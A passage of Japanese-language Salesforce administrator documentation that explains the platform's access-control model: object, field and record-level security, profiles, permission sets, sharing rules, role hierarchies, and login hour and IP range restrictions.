プションは、Salesforce の
エディションによって異
なります。

Salesforce は階層化された柔軟なデータ共有設計で、異なるデータセットを異な
るユーザセットに公開し、ユーザが必要のないデータを表示することなく作業
できるようにしています。権限セットおよびプロファイルを使用すると、ユー
ザがアクセスできるオブジェクトおよび項目を指定できます。組織の共有設定、
ユーザロール、共有ルールを使用すると、ユーザが参照および編集できる個々
のレコードを指定できます。

ヒント: 組織のセキュリティと共有ルールを実装する場合、組織内のさま
ざまなユーザの種類に関するテーブルを作成します。テーブル内で、各種
類のユーザ各オブジェクトおよびオブジェクト内の項目およびレコードに
対して必要な、データへのアクセス権限のレベルを指定します。セキュリ
ティモデルを設定する場合に、このテーブルを参照できます。

オブジェクトレベルセキュリティ (権限セットおよびプロファイル)

オブジェクトレベルセキュリティ (つまり、オブジェクト権限) で提供されているのは、データを制御する
のに最も弱い方法です。オブジェクト権限を使用すると、ユーザはリードまたは商談などの特定の種類の
オブジェクトのインスタンスを参照、作成、編集または削除できなくなります。また、特定のユーザに対
してタブやオブジェクト全体を非表示にするため、そのようなデータの存在を知ることもできません。
権限セットおよびプロファイルでオブジェクト権限を指定します。権限セットおよびプロファイルは、ア
プリケーションでユーザが実行できる操作を指定する設定および権限の集合で、グループのすべてのメン
バーに同じフォルダの権限と同じソフトウェアへのアクセス権限が割り当てられている、Windows ネット
ワークのグループと似ています。
プロファイルは通常、ユーザの職務 (システム管理者や営業担当など) によって定義されます。プロファイ
ルは多くのユーザに割り当てることができますが、1 人のユーザを割り当てることができるには 1 つのプロ
ファイルのみです。権限セットを使用すると、追加権限やアクセス設定をユーザに許可できます。権限セッ
トを使用するとユーザの権限およびアクセスを簡単に管理できます。これは、1 人のユーザに複数の権限
セットを割り当てることができるためです。

項目レベルセキュリティ (権限セットおよびプロファイル)

ユーザにオブジェクトへのアクセス権を許可する必要があるけれども、そのオブジェクトの個々の項目へ
のアクセスは制限する必要がある場合があります。項目レベルセキュリティ (つまり、項目権限) は、オブ
ジェクトの特定項目の値をユーザが参照、編集、削除できるかどうかを制御します。ユーザに対してオブ
ジェクト全体を非表示にすることなく、重要な項目を保護することができます。また、項目権限は権限セッ
トとプロファイルで制御されます。
詳細および編集ページの項目の表示を制御するだけのページレイアウトとは異なり、項目権限は、関連リ
スト、リストビュー、レポート、検索結果など、アプリケーションの任意の部分の項目の表示を制御しま
す。ユーザが特定項目にアクセスできないようにするには、項目権限を使用します。その他の設定では、
同じレベルの項目の保護を提供できません。

メモ: 項目レベルのセキュリティでは、項目内の値を検索できないようにすることはできません。検
索語が項目レベルのセキュリティで保護された項目値と一致する場合、関連付けられたレコードは、
保護された項目およびその値なしで検索結果に返されます。
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レコードレベルセキュリティ (共有)

オブジェクトレベル、項目レベルのアクセス権限を設定した後で、実際のレコード自体にアクセス設定を
設定する必要があります。レコードレベルセキュリティを使用して、ユーザに一部のオブジェクトレコー
ドのアクセス権限を付与し、他のオブジェクトレコードのアクセス権限を付与しないようにできます。す
べてのレコードはユーザまたはキューが所有します。所有者はレコードにフルアクセスできます。階層で
は、階層の上位のユーザは、そのユーザより階層の下位にいるユーザに対するアクセス権と同じアクセス
権が必ず許可されます。このアクセス権は、ユーザが所有するレコードおよびユーザと共有するレコード
に適用されます。
レコードレベルセキュリティを指定するには、組織の共有設定を行い、階層を定義して、共有ルールを作
成します。
• 組織の共有設定 — レコードレベルセキュリティではまず、各オブジェクトの組織の共有設定を指定し

ます。組織の共有設定では、その他のそれぞれのレコードに対するデフォルトアクセスレベルを指定し
ます。
組織の共有設定を使用してデータを最も制限の厳しいレベルにロックダウンし、それから他のレコード
レベルセキュリティおよび共有ツールを使用して、他のユーザに選択的にアクセス権を付与します。た
とえば、商談を参照および編集するオブジェクトレベルの権限をユーザに許可し、組織全体の共有設定
は参照のみです。デフォルトでは、これらのユーザは、すべての商談レコードを参照することはできま
すが、レコードの所有者であるか、追加の権限が付与されていない限り、これらのレコードを編集する
ことはできません。

• ロール階層 — 組織の共有設定を指定したら、レコードに対するより幅広いアクセス権を許可できる一
番の方法はロール階層の使用です。組織図と同様に、ロール階層は、ユーザまたはユーザグループが必
要とするデータアクセスのレベルを示します。ロール階層によって、組織の共有設定に関係なく、階層
の上位のユーザが常に階層の下位のユーザと同じデータにアクセスできます。ロール階層は、組織図に
完全に一致する必要はありません。代わりに、階層の各ロールはユーザまたはユーザグループが必要と
するデータアクセスのレベルを示す必要があります。
また、テリトリー階層を使用して、レコードへのアクセス権限を共有することもできます。テリトリー
階層を使用して、郵便番号、業種、収益、業務に関連するカスタム項目などの条件に基づいて、レコー
ドへのアクセス権限をユーザに付与します。たとえば、「北アメリカ」ロールを持つユーザが、「カナ
ダ」や「アメリカ合衆国」ロールを持つユーザとは異なるデータに対するアクセス権限を持つテリト
リー階層を作成することができます。

メモ: 権限セットとプロファイルとロールは混同しやすいですが、2 つのまったく異なる点を制御
します。権限セットおよびプロファイルは、ユーザのオブジェクトレベルおよび項目のアクセス権
限を制御します。ロールは主に、ユーザのレコードレベルのアクセス権を、ロール階層および共有
ロールを介して制御します。

• 共有ルール — 共有ルールでは、特定のユーザセットに対する組織の共有設定の例外を自動的に作成し
て、所有していないまたは通常参照できないレコードへのアクセス権限を与えることができます。ロー
ル階層と同様、共有ルールは、レコードに対する追加のユーザアクセス権を許可するためだけに使用さ
れ、組織の共有設定に比べて厳密な制限ではありません。

• 共有の直接設定 — 特定のレコードセットに対するアクセス権限が必要なユーザの継続的なグループを
定義することが必要な場合があります。このような場合、レコード所有者は共有の直接設定を使用し
て、レコードにアクセス権限を持たないユーザに参照権限および編集権限を与えます。共有の直接設定
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は組織の共有設定、ロール階層、または共有ルールのように自動化されていませんが、レコード所有者
に、レコードを参照する必要があるユーザと特定のレコードを共有する柔軟性を提供します。

• Apex 管理共有 — 共有ルールおよび共有の直接設定によって必要なコントロールが指定されない場合、
Apex管理共有を使用できます。Apexによる共有管理により、開発者はプログラムでカスタムオブジェク
トを共有できます。Apexによる共有管理を使用してカスタムオブジェクトを共有した場合は、「すべて
のデータの編集」権限を持つユーザのみが、カスタムオブジェクトのレコードの共有を追加または変更
できます。共有アクセス権は、レコード所有者が変わっても維持されます。

プロファイル
プロファイルは、オブジェクトおよびデータへのユーザによるアクセス方法や、アプリケーション内で実
行可能な操作を定義します。ユーザの作成時に、各ユーザにプロファイルを割り当てます。
権限とアクセス権の無効化
ユーザに取引先へのアクセス権がある理由は何ですか?

関連トピック:

プロファイル
権限セット
項目レベルセキュリティ
共有設定

ユーザ権限およびアクセス
エディション

使用可能なエディション:
Salesforce Classic

使用できる権限と設定
は、使用している
Salesforce エディションに
よって異なります。

権限セットを使用可能な
エディション: Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限およびアクセス設定は、プロファイルと権限セットで指定します。
効果的に使用するには、プロファイルと権限セットの違いを理解します。
ユーザ権限およびアクセス設定では、組織内でユーザが実行できる内容を指定
します。
• 権限は、オブジェクトレコードを編集したり、[設定] メニューを参照したり、

組織のごみ箱を空にしたり、ユーザのパスワードをリセットしたりできるか
どうかを決定します。

• アクセス設定は、Apexクラスへのアクセス、アプリケーションの表示、ユー
ザがログインできる時間などのその他の機能を決定します。

すべてのユーザに割り当てることができるプロファイルは 1 つのみですが、権
限セットは複数持つことができます。ユーザのアクセス権を決定する場合、プ
ロファイルを使用してユーザの特定のグループに最小限権限およびアクセス設
定を割り当てます。次に、必要に応じて権限セットを使用して追加権限を付与
します。
次の表に、プロファイルおよび権限セットで指定される権限の種類およびアク
セス設定を示します。
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権限セットでは?プロファイルでは?権限または設定種別

割り当てられたアプリケーション

タブ設定

レコードタイプの割り当て

ページレイアウトの割り当て

オブジェクト権限

項目権限

ユーザ権限 (アプリケーションおよ
びシステム)

Apex クラスのアクセス

Visualforce ページのアクセス

外部データソースへのアクセス

サービスプロバイダアクセス
(Salesforce が ID プロバイダとして有
効な場合)

カスタム権限

デスクトップクライアントアクセ
ス

ログイン時間帯

ログイン IP の範囲

関連トピック:

プロファイル
権限セット
権限とアクセス権の無効化
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プロファイル
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロファイルは、オブジェクトおよびデータへのユーザによるアクセス方法や、
アプリケーション内で実行可能な操作を定義します。ユーザの作成時に、各ユー
ザにプロファイルを割り当てます。
組織には標準プロファイルがいくつか含まれ、制限された数の設定を編集でき
ます。カスタムプロファイルを含むエディションでは、ユーザライセンス以外
のすべての権限と設定を編集できます。Contact Manager Edition およびGroup Edition

を使用する組織では、標準プロファイルをユーザに割り当てることはできます
が、標準プロファイルを表示または編集したり、カスタムプロファイルを作成
したりすることはできません。
すべてのプロファイルは、1 種類のユーザライセンスにのみ属します。

拡張プロファイルユーザインターフェースページでの操作
拡張プロファルユーザインターフェースでは、プロファイルの概要ページが
プロファイルのすべての設定と権限への開始点となります。
元のプロファイルインターフェースの使用
元のプロファイルページでプロファイルを表示するには、[設定] から [クイッ
ク検索]ボックスに「プロファイル」と入力し、[プロファイル]を選択して目
的のプロファイルを選択します。
標準プロファイル
すべての組織には、ユーザに割り当てることができる標準プロファイルが含まれています。標準プロファ
イルでは、一部の設定を編集できます。
プロファイルリストの管理
プロファイルは、オブジェクトおよびデータへのユーザによるアクセス方法や、アプリケーション内で実
行可能な操作を定義します。ユーザの作成時に、各ユーザにプロファイルを割り当てます。組織でプロファ
イルを表示するには、[設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル]

を選択します。
プロファイルのコピー
プロファイルを作成する代わりに、既存のプロファイルをコピーしてカスタマイズすることで時間を節約
します。
プロファイルの割り当てられたユーザの表示
プロファイルの概要ページからプロファイルに割り当てられたすべてのユーザを表示するには、[割り当て
済みユーザ] (拡張プロファイルユーザインターフェース) または [このプロファイルに属するユーザの参照]

(元のプロファイルユーザインターフェース) をクリックします。割り当てられたユーザのページから、次
の操作が可能です。
プロファイルでのオブジェクト権限の編集
オブジェクト権限は、オブジェクトに対するアクセス権の種類を指定します。
権限セットとプロファイルでのタブ設定の表示と編集
タブ設定はタブが [すべてのタブ] ページに表示されるか、タブセットで表示可能かどうかを指定します。
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プロファイルでの割り当てられたアプリケーションの表示と編集
割り当てられたアプリケーション設定では、Force.com アプリケーションメニューで選択できるアプリケー
ションを指定します。
プロファイルでのカスタム権限の有効化
カスタム権限により、カスタムプロセスまたはカスタムアプリケーションへのアクセス権を付与できます。
カスタム権限を作成し、プロセスまたはアプリケーションに関連付けたら、プロファイルで権限を有効に
できます。
プロファイルでのセッションタイムアウト設定の表示と編集
セッション設定は、ユーザの認証セッションがタイムアウトするまでの無操作状態の経過時間の設定に使
用します。セッションが終了した時点で、ユーザはログインし直す必要があります。
プロファイルでのパスワードポリシーの表示と編集
組織に適切なレベルのパスワードセキュリティを使用するには、プロファイルに割り当てられたユーザの
[パスワードポリシー] 設定でパスワード要件を指定します。プロファイルのパスワードポリシーを設定す
ると、そのプロファイルのユーザに対して、組織のパスワードポリシーが上書きされます。パスワードポ
リシーをプロファイルに設定しない場合は、組織のパスワードポリシーが適用されます。既存のプロファ
イルユーザの場合、ユーザがパスワードをリセットしたときに、新しいプロファイルパスワードポリシー
が有効になります。
プロファイルのパスワードポリシー項目
[パスワードポリシー] 設定でパスワード要件を指定します。次の項目の説明を参考に、各項目がプロファ
イルのパスワード要件にどのように影響するかを理解します。

関連トピック:

プロファイルリストビューを使用した複数のプロファイルの編集
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拡張プロファイルユーザインターフェースページでの操作

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルを参照する
• 「設定・定義を参照す

る」

プロファイルを削除し、
プロファイルのプロパ
ティを編集する
• 「プロファイルと権限

セットの管理」

拡張プロファルユーザインターフェースでは、プロファイルの概要ページがプ
ロファイルのすべての設定と権限への開始点となります。
プロファイルの概要ページを開くには、[設定] から、[クイック検索] ボックス
に「プロファイル」と入力し、[プロファイル]を選択して、参照するプロファイ
ルをクリックします。
プロファイルの概要ページから、次の操作を行えます。
• オブジェクト、権限、または設定の検索
• プロファイルのコピー
• カスタムプロファイルの場合、[削除] をクリックしてプロファイルを削除

メモ: ユーザが無効な場合も含め、ユーザに割り当てられているプロ
ファイルは削除できません。

• [プロパティを編集] をクリックしてプロファイルの名前または説明を変更
• プロファイルに割り当てられているユーザのリストを表示
• [アプリケーション] および [システム] で、任意のリンクをクリックして権限

と設定を参照または編集

拡張プロファイルユーザインターフェースの概要
拡張プロファイルユーザインターフェースのアプリケーションおよびシステ
ム設定
拡張プロファイルユーザインターフェースでの検索
プロファイルページのオブジェクト、タブ、権限、または設定の名前を見つ
けるには、 [設定の検索]ボックスにその名前の連続する 3 文字以上を入力
します。入力を開始すると、検索語と一致する結果の提案がリストに表示さ
れます。リストの項目をクリックするとその設定ページに移動します。
拡張プロファイルユーザインターフェースでのレコードタイプとページレイ
アウトの割り当て
拡張プロファイルユーザインターフェースでのログイン時間帯の表示と編集
プロファイルごとにユーザがログインできる時間帯を指定できます。
拡張プロファイルユーザインターフェースでのログイン IP アドレスの制限
ユーザのプロファイルで許可される IP アドレス範囲を指定することによって、ユーザレベルでログインア
クセスを制御します。プロファイルに IP アドレス制限を定義すると、その他のすべての IP アドレスからの
ログインは拒否されます。

関連トピック:

拡張プロファイルユーザインターフェースの概要
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拡張プロファイルユーザインターフェースの概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

拡張プロファイルユーザ
インターフェースを有効
化する
• 「アプリケーションの

カスタマイズ」

拡張プロファイルユーザインターフェースでは、プロファイルの管理が合理化
されます。この機能により、プロファイルの設定間での移動、設定の検索、変
更が簡単に行えます。
拡張プロファイルユーザインターフェースを有効化するには、[設定] から、[ク
イック検索] ボックスに「ユーザインターフェース」と入力し、[ユーザインター
フェース]、[拡張プロファイルユーザインターフェースを有効化] の順に選択し
て、[保存]をクリックします。組織では、一度に 1 つのプロファイルユーザイン
ターフェースしか使用できません。

メモ: 次の場合は、拡張プロファイルユーザインターフェースを使用でき
ません。
• Microsoft® Internet Explorer® 6 以前を使用してプロファイルを管理している場

合 (Internet Explorer 用の Google Chrome Frame™ プラグインをインストールし
ていない場合)。

• 組織が、サイトで使用するゲストプロファイルにカテゴリグループを使
用している場合。

• 組織がポータルユーザにパートナーポータルの管理を委任している場
合。

関連トピック:

拡張プロファイルユーザインターフェースページでの操作
プロファイル

拡張プロファイルユーザインターフェースのアプリケーションおよびシステム設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

拡張プロファイルユーザインターフェースでは、管理者は 1 つのプロファイル
の各設定を容易に参照、検索、および変更できます。権限と設定はアプリケー
ションおよびシステムカテゴリの下のページに整理されます。これらのカテゴ
リには、アプリケーションおよびシステムリソースを管理および使用するため
にユーザに必要な権限が反映されます。

アプリケーション設定
アプリケーションは一連のタブで構成され、ユーザがヘッダーのドロップダウ
ンメニューを選択して変更できます。どのアプリケーションを選択しても、基
礎となるオブジェクト、コンポーネント、データ、および設定はすべて同じで
す。アプリケーションを選択するとき、ユーザは一連のタブを移動することで
基礎となる機能を効率よく使用してアプリケーション固有のタスクを実行でき
ます。たとえば、ほとんどの作業を、[取引先] や [商談] のようなタブが含まれる営業アプリケーションで行う
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とします。新しいマーケティングキャンペーンを追跡するには、[キャンペーン] タブを営業アプリケーション
に追加するのではなく、アプリケーションドロップダウンから [マーケティング] を選択してキャンペーンと
キャンペーンメンバーを参照します。
拡張プロファイルユーザインターフェースでは、概要ページの [アプリケーション] セクションには、アプリ
ケーションで実現されるビジネスプロセスに直接関連付けられた設定が含まれます。たとえば、カスタマー
サービスエージェントはケースを管理する必要があるため、「ケースの管理」権限は、[アプリケーション権
限] ページの [コールセンター] セクションにあります。アプリケーション設定には、アプリケーション権限に
関連していないものもあります。たとえば、AppExchange から休暇管理アプリケーションを有効にするには、
ユーザには該当する Apex クラスと Visualforce ページへのアクセス権と、新しい休暇要求を作成するためのオブ
ジェクト権限および項目権限が必要です。

メモ: 現在選択されてるアプリケーションに関係なく、ユーザの権限はすべて尊重されます。たとえば、
「リードのインポート」権限が営業カテゴリの下にある場合、ユーザはサービスアプリケーション内に
いてもリードをインポートできます。

システム設定
一部のシステムの機能は、組織に適用され、単独のアプリケーションには適用されません。たとえば、ログイ
ン時間帯の制限とログイン IP アドレスの制限では、ユーザがアクセスしているアプリケーションに関係なく、
ユーザのログイン機能が制御されます。その他のシステム機能はすべてのアプリケーションに適用されます。
たとえば、「レポート実行」または「ダッシュボードの管理」権限は、管理者がすべてのアプリケーションで
レポートを作成および管理できるようにします。場合によっては、「すべてのデータの編集」のように、権限
はすべてのアプリケーションだけでなく、データローダのダウンロード機能など、アプリケーション以外の機
能にも適用されます。

関連トピック:

拡張プロファイルユーザインターフェースの概要
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拡張プロファイルユーザインターフェースでの検索

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用できるプロファイル
権限と設定は、使用して
いる Salesforce エディショ
ンによって異なります。

ユーザ権限

プロファイルで権限と設
定を検索する
• 「設定・定義を参照す

る」

プロファイルページのオブジェクト、タブ、権限、または設定の名前を見つけ
るには、 [設定の検索] ボックスにその名前の連続する 3 文字以上を入力しま
す。入力を開始すると、検索語と一致する結果の提案がリストに表示されます。
リストの項目をクリックするとその設定ページに移動します。
検索語は大文字と小文字を区別しません。一部のカテゴリでは、特定の権限ま
たは設定の名前を検索できます。他のカテゴリでは、カテゴリの名前ほ検索し
ます。

例検索項目

[設定の検索] ボックスに「営業」と入
力し、リストから [営業] を選択しま
す。

アプリケーション
名

割り当てられたア
プリケーション

Albums カスタムオブジェクトがあると
します。「albu」と入力し、Albums

を選択します。

オブジェクト名オブジェクト

Description 項目を含む Albums オブジェ
クトがあるとします。Albums の [説明]

親オブジェクト名• 項目
• レコードタイ

プ 項目を検索するには、「albu」と入力
し、Albums を選択し、[項目権限] で
[説明] までスクロールします。• ページレイア

ウトの割り当
て

「レポー」と入力し、[レポート]を選
択します。

タブまたは親オブ
ジェクト名

タブ

「api」と入力し、[API の有効化]を
選択します。

権限名アプリケーション
権限およびシステ
ム権限

Apexクラスのアクセス設定を検索する
には、「apex」と入力し、[Apex ク

カテゴリ名他のすべてのカテ
ゴリ

ラスアクセス] を選択します。カスタ
ム権限を検索するには、「cust」と入
力し、[カスタム権限]を選択します。
他のカテゴリについても同じです。

検索結果が表示されない場合、次の点を確認してください。
• 検索対象の権限、オブジェクト、タブ、または設定が、現在の組織で使用できるかどうかを確認します。
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• 検索対象の項目が、現在のプロファイルに関連付けられているユーザライセンスで使用できることを確認
します。たとえば、大規模カスタマーポータルライセンスを持つプロファイルには、「すべてのデータの
編集」権限は含まれません。

• 検索対象の項目の名前と一致する、連続する 3 文字以上が検索語に含まれていることを確認します。
• 検索語のスペルが正しいことを確認します。

関連トピック:

拡張プロファイルユーザインターフェースの概要

拡張プロファイルユーザインターフェースでのレコードタイプとページレイアウトの割り
当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードタイプおよび
ページレイアウトのアク
セス設定を編集する
• 「プロファイルと権限

セットの管理」

拡張プロファイルユーザインターフェースでは、[レコードタイプとページレイ
アウトの割り当て] の設定によってユーザがレコードを参照するときに使用され
るレコードタイプとページレイアウトの割り当ての対応付けが決まります。ま
た、ユーザがレコードを作成または編集するときに使用できるレコードタイプ
も決まります。
レコードタイプとページレイアウトの割り当てを指定する手順は、次のとおり
です。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択します。
3. [設定の検索...] ボックスに、必要なオブジェクトの名前を入力し、リストか

らそのオブジェクトを選択します。
4. [編集] をクリックします。
5. [レコードタイプとページレイアウトの割り当て] セクションで、必要に応じ

て設定を変更します。

説明設定

オブジェクトの既存のレコードタイプをすべて表
示します。
[--マスタ--] は、レコードに関連付けられてい
るカスタムレコードタイプがない場合に使用され
る、システムで生成されるレコードタイプです。
[--マスタ--]が割り当てられている場合、レコー

レコードタイプ

ド作成時などにユーザがレコードにレコードタイ
プを設定することはできません。その他のレコー
ドタイプはすべてカスタムレコードタイプです。

各レコードタイプに使用するページレイアウト。
ページレイアウトによって、このプロファイルを

ページレイアウトの割り
当て
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説明設定

持つユーザが関連付けられたレコードタイプでレコードを作成すると
きに表示されるボタン、項目、関連リスト、およびその他の要素が決
まります。すべてのユーザがすべてのレコードタイプにアクセスでき
るため、レコードタイプがプロファイルで割り当てられたレコードタ
イプとして指定されていなくても、すべてのレコードタイプにそれぞ
れページレイアウトの割り当てが必要です。

この列がチェックされているレコードタイプは、このプロファイルを
持つユーザがオブジェクトのレコードを作成するときに使用できま

割り当てられたレコードタイプ

す。[--マスタ--] が選択されている場合はカスタムレコードタイプ
を選択できません。また、カスタムレコードタイプが選択されている
場合は [--マスタ--] を選択できません。

このプロファイルを持つユーザがオブジェクトのレコードを作成する
ときに使用するデフォルトのレコードタイプ。

デフォルトのレコードタイプ

次のオブジェクトやタブでは、[レコードタイプとページレイアウトの割り当て] の設定にはいくつかのバ
リエーションがあります。

バリエーションオブジェクトまたはタブ

組織で個人取引先を使用する場合、取引先オブジェクトには追加で
[法人取引先デフォルトレコードタイプ] と [個人取引先デフォルトレ

取引先

コードタイプ] 設定が含まれます。これらの設定では、プロファイル
のユーザが法人または個人取引先レコードを取引開始後のリードから
作成するときに使用するデフォルトのレコードタイプを指定します。

ケースオブジェクトに追加で[ケースクローズ]設定が含まれます。こ
の設定は、クローズケースの各レコードタイプに使用するページレイ

ケース

アウトの割り当てを示します。つまり、同じレコードタイプのオープ
ンケースとクローズケースでページレイアウトが異なる場合がありま
す。この追加設定によって、ユーザがケースをクローズすると、ケー
スはクローズ状況によって異なるページレイアウトで表示される場合
があります。

ホームにはカスタムレコードタイプを指定できません。ページレイア
ウトの割り当ては、[--マスタ--] レコードタイプにのみ選択できます。

ホーム
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6. [保存] をクリックします。

関連トピック:

レコードタイプへのアクセスの指定方法
権限セットでのカスタムレコードタイプの割り当て
拡張プロファイルユーザインターフェースページでの操作

拡張プロファイルユーザインターフェースでのログイン時間帯の表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ログイン時間帯の制限を
表示する
• 「設定・定義を参照す

る」

ログイン時間帯の制限を
編集する
• 「プロファイルと権限

セットの管理」

プロファイルごとにユーザがログインできる時間帯を指定できます。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択し、その名前をクリックします。
3. [プロファイルの概要] ページで [ログイン時間帯の制限] まで下にスクロール

し、[編集] をクリックします。
4. このプロファイルを持つユーザが組織にログインできる曜日と時間帯を設定

します。
ユーザがいつでもログインできるようにするには、[すべての時刻を解除] を
クリックします。特定の曜日にユーザがシステムを使用できないようにする
には、開始時刻と終了時刻に同じ値を設定します。
ユーザがログインしている間にログイン時間帯が終了した場合、現在のペー
ジは引き続き表示できますが、他のアクションを実行することはできなくな
ります。

メモ: 初めてプロファイルにログイン時間を設定したときは、[設定] の [組
織情報] ページで指定されている組織の [タイムゾーンのデフォルト値]に基
づいて時間が表示されます。その後、組織の[タイムゾーンのデフォルト値]

が変更されても、プロファイルのログイン時間のタイムゾーンは変更され
ません。そのため、ユーザが別のタイムゾーンにいる場合、または組織の
デフォルトのタイムゾーンが変更された場合でも、常にここで指定した時
間帯がログイン時間に適用されます。
ログイン時間を参照しているか編集しているかによって、異なった時間が
表示される可能性があります。[ログイン時間帯] 編集ページの時間帯は、
指定したタイムゾーンで表示されます。[プロファイルの概要] ページの時
間帯は、組織の元のデフォルトのタイムゾーンで表示されます。

関連トピック:

拡張プロファイルユーザインターフェースの概要
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拡張プロファイルユーザインターフェースでのログイン IP アドレスの制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ログイン IP アドレス範囲
の制限を参照する
• 「設定・定義を参照す

る」

ログイン IP アドレス範囲
の制限を編集および削除
する
• 「プロファイルと権限

セットの管理」

ユーザのプロファイルで許可される IP アドレス範囲を指定することによって、
ユーザレベルでログインアクセスを制御します。プロファイルに IP アドレス制
限を定義すると、その他のすべての IP アドレスからのログインは拒否されます。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択し、その名前をクリックします。
3. [プロファイルの概要] ページで [ログイン IP アドレスの制限] をクリックしま

す。
4. プロファイルに対して許可する IP アドレスを指定します。

• ユーザがログインできる IP アドレスの範囲を追加するには、[IP 範囲の追
加] をクリックします。有効な IP アドレスを [開始 IP アドレス] に、そ
れより番号が大きい IP アドレスを [終了 IP アドレス] 項目に入力しま
す。1 つの IP アドレスからのログインのみを許可するには、両方の項目に
同じアドレスを入力します。

• 範囲を編集または削除するには、その範囲の[編集]または[削除]をクリッ
クします。

重要:

• 範囲を指定する IP アドレスは、IPv4 であるか、または IPv6 である必要
があります。範囲では、IPv4 アドレスは、IPv4 射影 IPv6 アドレス空間
である ::ffff:0:0 から ::ffff:ffff:ffff に存在しま
す。::ffff:0:0 は 0.0.0.0、::ffff:ffff:ffff は
255.255.255.255. に対応します。範囲には、IPv4 射影 IPv6 アドレ
ス空間内外の両方の IP アドレスを含めることはできません。たとえ
ば、255.255.255.255から ::1:0:0:0または ::から ::1:0:0:0

の範囲は許可されません。
• パートナーユーザプロファイルの IP アドレスは 5 個に制限されてい

ます。この制限を緩和するには、Salesforceにお問い合わせください。
• Salesforce Classic Mobile アプリケーションは、プロファイルに対して定

義された IP 範囲をスキップできます。Salesforce Classic Mobile は、モバ
イル通信業者のネットワーク上で、Salesforce へのセキュアな接続を
開始します。ただし、モバイル事業者の IP アドレスが、ユーザのプ
ロファイルで許可される IP 範囲に含まれていない場合があります。
プロファイルの IP 定義がスキップされることを防ぐには、そのユー
ザのSalesforce Classic Mobileを無効にする (ページ1298)必要があります。

5. 必要に応じて、範囲の説明を入力します。複数の範囲を管理する場合は、[説明] 項目を使用して、ネット
ワークのどの部分がこの範囲に対応するかなどの詳細を入力します。

メモ: さらに、Salesforce へのアクセスを [ログイン IP アドレスの制限] の IP にのみ制限することができま
す。このオプションを有効にするには、[設定] から [クイック検索]ボックスに「セッションの設定」と入
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力し、[セッションの設定]を選択し、[すべての要求でログイン IP アドレスの制限を適用]を選択します。
このオプションは、ログイン IP アドレスが制限されたすべてのユーザプロファイルに影響します。

元のプロファイルインターフェースの使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

元のプロファイルページでプロファイルを表示するには、[設定] から [クイック
検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択して目的の
プロファイルを選択します。
プロファイルの詳細ページでは、次の操作を実行できます。
• プロファイルを編集する
• このプロファイルに基づいてプロファイルを作成する
• カスタムプロファイルの場合のみ、[削除] をクリックしてプロファイルを削

除する

メモ: ユーザが無効な場合も含め、ユーザに割り当てられているプロ
ファイルは削除できません。

• このプロファイルに割り当てられたユーザを表示する

元のプロファイルインターフェースでのプロファイルの編集
プロファイルは、オブジェクトおよびデータへのユーザによるアクセスや、
アプリケーション内で実行可能な操作を定義します。標準プロファイルで
は、制限された数の設定を編集できます。カスタムプロファイルでは、ユー
ザライセンス以外の、使用可能なすべての権限と設定を編集できます。
元のプロファイルインターフェースのプロファイル設定
プロファイルは、オブジェクトおよびデータへのユーザによるアクセスや、アプリケーション内で実行可
能な操作を定義します。元のプロファイルの詳細ページから、次の設定を表示または編集します。
元のプロファイルユーザインターフェースでのページレイアウトの割り当て
すでに元のプロファイルユーザインターフェースを使用している場合は、すべてのページレイアウトの割
り当てを 1 か所で簡単にアクセス、表示、および編集できます。
元のプロファイルユーザインターフェースのデスクトップクライアントアクセスの表示と編集
元のプロファイルユーザインターフェースでのプロファイルへのレコードタイプの割り当て
レコードタイプを作成して選択リスト値を指定したら、レコードタイプをユーザプロファイルに追加しま
